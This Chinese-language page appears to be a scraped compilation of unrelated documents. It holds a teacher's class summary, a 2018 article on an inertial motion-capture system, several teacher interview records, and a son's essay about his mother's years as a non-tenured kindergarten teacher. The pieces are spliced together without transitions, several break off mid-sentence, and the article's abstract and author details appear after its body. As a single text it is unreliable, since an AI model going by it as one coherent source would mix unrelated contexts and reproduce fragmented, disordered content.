总结：CAD是一门理论与实际相结合的课程，学生学习兴趣相对较高，但也有个别学生有懒惰的思想。要加强学生勤劳意识的培养。 时间：2015.6.11 任课老师：刘金凤 担任课程：电子电路分析与制作 内容：1.学生基础知识； 2.课堂纪律； 3. 上课玩手机问题； 总结：大部分学生能够做到上课专心听讲，偶尔有讲话或玩手机的问题，经批评教育后都能够改正。教室有了手机口袋以后大部分学生把手机放到口袋中，玩手机的现象减少。部分学生基础知识薄弱，但经过师生共同努力，已迎头赶上。

一种惯性导航肢体动作捕捉系统采集方法

- 5 - 第7期2018年4月No.7April，2018 无线互联科技 Wireless Internet Technology 1 动作捕捉技术概述 动作捕捉技术（Motion Capture ，Mocap ）的出现可追溯到20世纪70年代，国外的动画制作公司利用光学式的动作捕捉技术把表演者的姿势投射到计算机屏幕上，作为动画制作的参考。随着技术的发展，该技术已经广泛应用于3D 影视制作、步态分析、生物力学研究、人机工程、虚拟现实等新兴行业市场。 常用的动作捕捉技术从原理上说可分为机械式、声学式、电磁式、主动光学式、被动光学式、惯性导航式。本文的主要研究内容是惯性导航式肢体动作捕捉的采集方法实现。2 系统方案2.1 系统原理 动作捕捉系统的一般性结构主要分为3个部分：数据采集设备、数据传输设备、数据处理单元。惯性导航式动作捕捉系统既是将惯性传感器应用到数据采集设备，从而完成运动目标的姿态、角度的测量。 要完成对人体肢体动作的捕捉需要对人体的头部、肩部、大臂、小臂、手、胸口、尾椎、大腿、小腿、脚踝等共计17个部位进行动作跟踪，参考图1所述。在这17处重要部位佩戴集成加速计、陀螺仪、磁力计等惯性传感器的数据采集设备，加速计是用来检测传感器受到的加速度的大小和方向，它通过测量传感器在某个轴向的加速度大小和方向，但是相对于地面的姿态则精度不高。加速计的不足由陀螺仪来弥补，陀螺仪是通过测量三维坐标体系内内部陀螺转子的垂直轴与传感器的夹角，并计算角速度，通过夹角和角速度来判断物体在三维空间的运动状态，因为内部陀螺转子的垂直轴永远垂直地面，也就能保证对地面的姿态精度，但是不能测量同东西南北4个方向的姿态。那么陀螺仪的不足由磁力计来弥补，磁力计就是个小型的电子罗盘，由它来测量传感器同南北磁极的角度并确定4个方向的姿态。 数据传输设备是为了解决把采集到的动作数据传递给数据处理单元，同时也是上述17个数据采集设备的数据交汇点，这一特质决定了数据传输设备不可避免地要与数据采集设备就近部署。从使用舒适性、可穿戴性方面考虑，数据传输设备应采用无线通信技术回传数据给数据处理单元以减 少线缆数量和穿戴者的负担。目前主流的无线通信技术有ZigBee ，Bluetooth ，RFID ，WiFi 等，根据数据吞吐量来决定系统的通信子系统的设计，1个数据采集设备集成加速计、陀螺仪、磁力计，其中现在主流MEMS 芯片集成了加速计和陀螺仪，磁力计单独一颗芯片，芯片数据接口为I2C 总线，I2C 总线最大码流400 kbps ，那么数据量参考公式1所述。 传输数据吞吐量=17×2×400 kbps ≈13.6 Mbps （1）根据公式1所述的吞吐量要求，WiFi 支持11~54 Mbps ，其余技术传输速率不及1 Mbps ，故此数据传输设备采用WiFi 回传数据，在穿戴者身上部署数据传输设备（穿戴侧），在数据处理单元侧对称部署数据传输设备（处理侧），二者实现WiFi 无线传输数据，数据传输设备（处理侧）与数 据处理单元通过USB 传输数据。 数据处理单元采用图形工作站，工作站运行动作捕捉软件完成行动作捕捉。 图1 惯性导航式动作捕捉系统示意 2.2 系统设计 2.2.1 数据采集设备 数据采集设备是通过弹性束带固定在人体的运动部位，由于部署位置涉及人体接触，从舒适性和可穿戴性上决定了数据采集设备有体积小、功耗低的要求，数据采集设备如图 作者简介：韦宇（1980— ），男，广西柳州人，工程师，学士；研究方向：国防通信系统设计。 一种惯性导航肢体动作捕捉系统采集方法 韦 宇 （广州海格通信集团股份有限公司，广东 广州 510663） 摘 要：动作捕捉技术是运动物体的关键部位设置跟踪器，涉及尺寸测量、物理空间里物体的定位及方位测定等方面可以由计 算机直接理解处理的数据。惯性导航通过测量对象的加速度、运动角度、方位，通过积分运算获得对象的瞬时速度、瞬时位置数据的技术。文章对一种惯性导航肢体动作捕捉系统采集方法进行了研究。关键词：动作捕捉；惯性导航；采集方法

教师访谈记录

职业生涯人物访谈 被访谈人:王某 性别：女 教育背景：大学本科 职业：教师 访谈形式：电话访谈 访谈内容 问题一：王老师，您是从事教师这个职业的，请问您当时为什么选择从事这一职业。 答：因为高考时只有这个专业能考上 问题二：啊，是同等分数的只有这个专业吗， 答：因为当时昌平对老师有定向委培的，凡是上首师大规定的相关专业，分数都比其他学校要低很多 唯一的要求就是必须回昌平来当老师。且首师大是一类本，老师又是一个稳定的职业，所以就选了 问题三：哦哦，，那您思考的还是挺全面的。。。那您从事教师职业也有几年了，在这几年的职业生涯中，对于与当老

师这一职业有没有动摇过， 答：有啊，太有了不过我也不会干别的，这么大岁数了，只能凑合干了 问题四：哦哦，那您是在什么情况下会产生不想当老师的这种观念呢，举个例子行吗，是学生不听话，还是您的朋友有从事那种挣钱多，不累还离家近的工作啊、 答：主要是学校安排的超工作量太多，或者应付各种针对老师的比赛、检查什么的时候 问题五：那王老师，从现在的这个社会来看哈，您觉得老师这个职业的就业前景如何呢。。 答：前景我说不好，只是觉得压力越来越大 竞争越来越激烈 问题六：那您做老师有几年了，肯定遇到过各色各样的学生，您觉得让您现在还印象深刻的学生，能谈谈您当时怎么教育他的吗、、、 答：主要还是以谈话为主，有时也和学生有书信交流，QQ什么的都用过。高中生比较好面子，关键时给他们留面子，他

们一般也就不跟老师较劲了 问题七：老师，，您认为当老师最有成就的是什么。。。答：看到自己的学生顺利升入理想的大学，找到满意的工作 问题八：老师，你认为这项工作需要具备什么样的素质、技能和经验？ 答：所教学科专业知识、超强的心理素质，超强体力精通office软件操作，相关的教科研能力，还得学点心理学 问题九：哈哈。。现在本科毕业，面临着深造和工作的抉择，老师，你有什么看法？ 答：确实，现在的大学生毕业面临重大抉择，深造还是工作，现在还有很多同学选择创业。我觉得，考虑兴趣和专业还是比较重要的，搞研究或是工作，没有兴趣是没法进行的，就感觉被逼着做事，效率就没有保障，跟别提进展了，其次是专业，要是作于自己专业相关性较大的工作，入门快，繁殖困难就比较大，不过也不是说跨专业不好，还是看自己的兴趣。最好，还是得看看自己的家庭状况 问题十：行业内，学校对刚进入该领域工作的员工一般会进

动作捕捉设备概述

动作捕捉的应用状况及相关产品 动捕系统一般来说，应用都比较广泛呀，只是可能不同品牌，技术略有差别，相对来说国外品牌占的市场份额更大一些，作为一门新兴的动作捕捉技术，惯性动捕的出现，打破了光学动捕占据市场绝对主导的行业格局，被视为动作捕捉界的新生力量。基于惯性传感器系统的动作捕捉技术是一项融合了传感器技术、无线传输、人体动力学、计算机图形学等多种学科的综合性技术，技术门槛要求很高。虽然惯性动作捕捉技术出现的时间并不长，但随着它在各行业中的使用，其卓越的性能很快就显示出来了。惯性动作捕捉，是一种新型的人体动作捕捉技术，它用无线动作姿态传感器采集身体部位的姿态方位，利用人体运动学原理恢复人体运动模型，同时采用无线传输的方式将数据呈现在电脑软件里。 惯性动作捕捉系统出现之前，最常见的是光学动捕技术。它是通过在演员身上贴marker点，然后用高速摄像机来捕捉marker点的准确位移，再将捕捉数据传输到电脑设备上，由此完成动作捕捉的全过程。光学动捕的整套设备的成本极为昂贵，架设繁琐，易受遮挡或光干扰的影响，给后期处理工作带来很多麻烦。对于一些遮挡严重的动作来说，光学动捕无法准确实时还原例如下蹲、拥抱、扭打等动作。而基于惯性传感器系统的动作捕捉技术的出现，大大改善了这一现状。和光学动捕技术相比，惯性动作捕捉技术有着对捕捉环境的高适应性，它的技术优势、成本优势和使用便捷的优势，使得它在各行业有着优

异的表现。在影视动画、体验式互动游戏、虚拟演播室、真人模拟演练、体育训练、医疗康复等领域，惯性动作捕捉系统都有着明显优于其他设备的特点。 惯性式动作捕捉系统原理 动作捕捉系统的一般性结构主要分为三个部分：数据采集设备、数据传输设备、数据处理单元，惯性式动作捕捉系统即是将惯性传感器应用到数据采集端，数据处理单元通过惯性导航原理对采集到的数据进行处理，从而完成运动目标的姿态角度测量。 在运动物体的重要节点佩戴集成加速度计，陀螺仪和磁力计等惯性传感器设备，传感器设备捕捉目标物体的运动数据，包括身体部位的姿态、方位等信息，再将这些数据通过数据传输设备传输到数据处理设备中，经过数据修正、处理后，最终建立起三维模型，并使得三维模型随着运动物体真正、自然地运动起来。 经过处理后的动捕数据，可以应用在动画制作，步态分析，生物力学，人机工程等领域。 加速度计，陀螺仪和磁力计在惯性动作捕捉系统中的作用 加速计是用来检测传感器受到的加速度的大小和方向的，它通过测量组件在某个轴向的受力情况来得到结果，表现形式为轴向的加速度大小和方向（XYZ），但用来测量设备相对于地面的摆放姿势，则精确度不高，该缺陷可以通过陀螺仪得到补偿。 陀螺仪的工作原理是通过测量三维坐标系内陀螺转子的垂直轴与设备之间的夹角，并计算角速度，通过夹角和角速度来判别物体在

教师访谈记录

教师访谈记录 教师1：可能以后的幼师会好点，自己做一行才知道是什么样的情况反正我是感觉压力太大不做了。 教师2：:因为可以顺便照顾自己的孩子，休息天也多，所以才选择当的幼儿教师的。 教师3：他们是不会懂的，只有我们自己知道。。现在的家长不是一般的难弄。他们不会理解我们的。。。 教师4：现在的小孩是越来越精贵了,在幼儿园稍微有点事,有些家长就要你命 我上次碰见一家长,晚上10点多还给你打电话来和你说... 教师5：休息日子确实不少,这也是唯一比较爽的地方 教师6：我刚干的时候500.都是私立的，所以不会有太高工资 教师7：老师这个职业还是蛮好的 教师8：工资太低，责任太大，值得飙泪的行业 教师9：我原来也是幼师出身，后来转行了。身边都是幼儿园教师，很能理解你们。而且，临时工的幼儿老师，是工资不高。 教师10： 教师 教师 教师 教师 教师 教师 教师 教师 教师 教师 教师 教师 我的母亲今年已经50岁，是一位非在编的即将退休的幼儿教师。如今，到了退休年龄，本应高高兴兴回家，享受天伦。然而，却看不到母亲一丝笑容。那种无助的叹息，欲罢不能的内心挣扎，使作为儿子的我，急在心头，却无力改变。妈妈，我该怎样为你解忧愁！ 1978年，一个花季少女，响应党的号召，走进了农村这个最基层的教育阵地，从事农村的学前教育工作，为社会解决了一直以来“学前教育师资不足”的困难，为学前教育做了贡献。这一走，就走过了34个年头。在这34年里，母亲为党的幼教事业勤勤恳恳、兢兢业业，

用辛勤汗水浇灌着祖国的花朵，为基础教育输送了一批又一批素质良好、合格的健康幼儿。曾经我这样问道：“妈，你都这把年纪了，还奶声奶气、伴笑作揖地和那些不领世事的小不点打交道，厌烦不厌烦啊？别干了，在家享享清福。”我母亲的回答让我这新一代大学生觉得有点做作：“以前我为生活而工作；后来我为我这份感到光荣的职业而工作，我竭尽所能教他们做人的道理，简单的知识；现在啊，我根本离不开他们，孩子的世界是那么的纯净无暇，看到他们，我没有烦恼，忘记了年龄，和他们在一起，我的心灵感到随时在洗礼。” 是啊，母亲用她的全部呵护了一批又一批孩子，她这一生的无欲无求都是被这些纯净的孩子感染的。现在他们已成材，为祖国建设各显其能。34年，她从一名普通教师到今天持有高级职称的教师，多少次提升的机会与她擦肩而过，她总是说不是你的不要去强求，不争不抢，不骄不躁，兢兢业业，默默无闻；34年，社会对幼儿教师的资质要求在不断前进中，母亲为了弥补专业知识的不足，为求进步，与时俱进，自学，自考，修完了大学课程，进修、学习、培训，取得了教师资格证，还积极入党，思想上也绝不落于年轻人；34年里，母亲用自己的人格魅力、扎实的专业基础征服了孩子们，征服了家长，征服了同事，征服了领导；34年，她捧回了许多让很多年轻人都瞠目结舌，自叹不如的奖项和荣誉，专业、教案、论文，还有那些大大小小的先进称号，她都能拿得出手。如今，已到已退之年，回头看看这34年，才发现，自己终究逃不过现实的牢笼，一顶扣了34年“临时工”帽子让她黯然失色。

教师访谈记录三完整版

教师访谈记录三完整 版 Revised on November 25, 2020

访谈三 访谈时间：2017年7月20日 访谈学校：阳春市第一中学 被访教师姓名及联系方式： 提纲 访谈对象：高中老师 访谈目的：更加了解教师这份职业，清楚一位优秀教师所要具备的条件，咨询相关教学方法，向老师学习如何正确处理师生关系，学习优秀教师的良好品质，明确目标，为踏上教师之路做准备，争取做一位优秀的人民教师。 访谈内容： 请问您认为成为一名老师需要具备什么能力或素质呢 当一个学生从中学毕业的时候，您希望他身上具备哪些基本素质 中等生占据了班级人数的大部分，对于这部分学生的管理，你有什么方法吗请问您对教师职责的看法是什么呢 您认为现在中学生的英语自学能力怎么样 您认为在提高学生英语自学能力方面，老师应该做些什么 对于现在的英语教学，您有什么看法 访谈记录 问：请问您认为成为一名老师需要具备什么能力或素质呢 答：在我看来，作为一名老师首先要掌握相关的专业知识。只有自身专业知识够好，才能去教导别人，教好学生。如果自身知识水平不足，一知半解就会误

导学生，害人害己。其次，相关的业务水平要掌握好，例如表达要清晰流利，能够让学生听明白，要不断改善教学方式，能够让学生理解教学内容;书写要端正，能够让学生看明白书写内容；能够运用现代化教学手段和设施等。这些与教学相关的能力要具备。再来，作为一名教师，还要具备良好的教学态度，需要具备责任心、爱心以及教学热情。这些都是一位优秀教师所需具备。 问：当一个学生从中学毕业的时候，您希望他身上具备哪些基本素质 答：我是一个理想主义者，我把我的理想主义也寄托到我的学生身上。中学毕业一般是十七八岁，我希望他们首先要有志向、有抱负、有社会责任感，也就是在思想上能够比较成熟。其次，要有良好的心理素质，勇敢、诚信、敢于面对挑战。第三，我希望他们是健康的年轻人，有很强的适应性、很强的生存能力。第四，当然是要有很好的学业基础，但我更强调的是思维能力、理解能力和分析能力。 问：中等生占据了班级人数的大部分，对于这部分学生的管理，你有什么方法吗 答：比如每次考试，看成绩时，找出中间的学生，找他们沟通一下学习上的困惑，哪些学科比较弱势的，可以给学习方法上的一些指导；2.活动时，多给中间的学生机会，比如参加升旗仪式，演讲等；3.要关注孩子家庭情况，和家长及时沟通，因为处于青春时期的孩子对家长可能也不理解，会造成冲突，和家长沟通，构成三方合力。 问：请问您对教师职责的看法是什么呢 答：就我个人理解而言，一名教师最主要也最重要的职责就是安排好教学工作和教育学生。安排教学工作，教导学生知识和学习，解答学生的疑惑，这是一